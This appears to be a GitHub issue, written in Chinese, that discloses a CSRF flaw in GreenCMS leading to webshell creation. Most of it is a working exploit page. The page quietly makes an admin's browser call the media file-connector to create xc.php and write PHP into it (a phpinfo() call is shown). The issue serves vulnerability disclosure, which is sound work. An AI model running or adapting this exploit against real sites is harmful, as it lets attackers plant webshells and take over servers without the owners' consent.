Skip to content
This repository was archived by the owner on May 8, 2024. It is now read-only.
This repository was archived by the owner on May 8, 2024. It is now read-only.

GreenCMS存在CSRF漏洞可获取webshell #108

Open
@anquanquantao

Description

@anquanquantao

漏洞发现者:惜潮
恶意攻击者可以精心伪造一个Html页面 从而获取网站webshell

利用代码
exp代码如下:

<span style="font-size:18px;"><!DOCTYPE html> 
<html lang="en"> 
<head> 
    <meta charset="UTF-8"> 
    <title>csrf测试</title> 
</head> 
<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">
	<!-- 下面的是生成文件名为xc.php的脚本文件 路径 127.0.0.1/Upload/xc.php -->
	<script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script>
	<input type="hidden" name="cmd" value="put">
	<input type="hidden" name="target" value="l1_eGMucGhw">
 	<input type="hidden" name="content" value="<?php phpinfo();?>">
	<!-- 下面的是提交表单 将content中的命令写入脚本内 -->
	<button type="submit" value="Submit">WebShell</button>
	</form>
	</body>
</html></span>

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions